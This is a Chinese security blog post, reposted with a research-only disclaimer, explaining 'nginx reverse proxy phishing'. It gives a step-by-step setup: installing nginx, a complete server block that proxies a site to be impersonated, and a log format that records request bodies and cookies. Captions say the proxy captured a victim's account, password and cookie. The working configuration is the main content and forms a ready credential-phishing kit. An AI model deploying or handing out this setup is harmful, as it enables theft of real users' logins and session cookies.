nginx反向代理钓鱼

admin 2024年5月19日01:54:01评论14 views字数 1371阅读4分34秒阅读模式

前言

Nginx 反向代理确实用得很多,之前也写过如何配置反向代理,可参考《nginx 反向代理配置[1]

反向代理钓鱼原理

相当于所有流量会先到我们服务器上,然后再到目标服务器上,那么就可以当中间人获取所有的流量,当然也就包括各类凭证信息了。

搭建过程

环境

  • ubuntu
  • Nginx(sudo apt-get install nginx -y

确认是否安装成功

nginx -v
# 下面这个可以看到配置文件的路径等,可以用于应急
nginx -V

启动 nginx

service nginx start

配置反代

反代配置文件

创建单独的反代配置文件

vim /etc/nginx/sites-enabled/reverse-proxy.conf

写入如下内容:

server
{
    listen 8081; # 监听端口
    server_name 1.2.3.4; # 本机真实IP
    location / {
        proxy_pass http://13.234.127.46:8001/; # 反代的网站,即想要伪造的网站
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置,testLog为自定义的日志格式
}

引用配置文件

编辑 /etc/nginx/nginx.conf,在 http{}中添加 2。句话,比如在

include /etc/nginx/mime.types;
default_type application/octet-stream;

两行下面添加 2 句:

log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
include /etc/nginx/sites-enabled/reverse-proxy.conf;
nginx反向代理钓鱼
reverse

这样就可以把反向代理配置文件引用到,接着重启即可

service nginx restart

效果演示

原网站/要伪造的网站:

nginx反向代理钓鱼
1

使用反向代理访问的效果,可见一模一样

nginx反向代理钓鱼
2

在我们搭建的反代服务器中输入账号密码,可见成功记录了账号、密码和 Cookie 值

nginx反向代理钓鱼
pass

参考资料

[1]

nginx反向代理配置: https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/99.%E6%9A%82%E6%9C%AA%E5%88%86%E7%B1%BB/05.nginx/nginx%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E9%85%8D%E7%BD%AE.html

- END -

原文始发于微信公众号(初始安全):nginx反向代理钓鱼

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日01:54:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nginx反向代理钓鱼https://cn-sec.com/archives/2034172.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息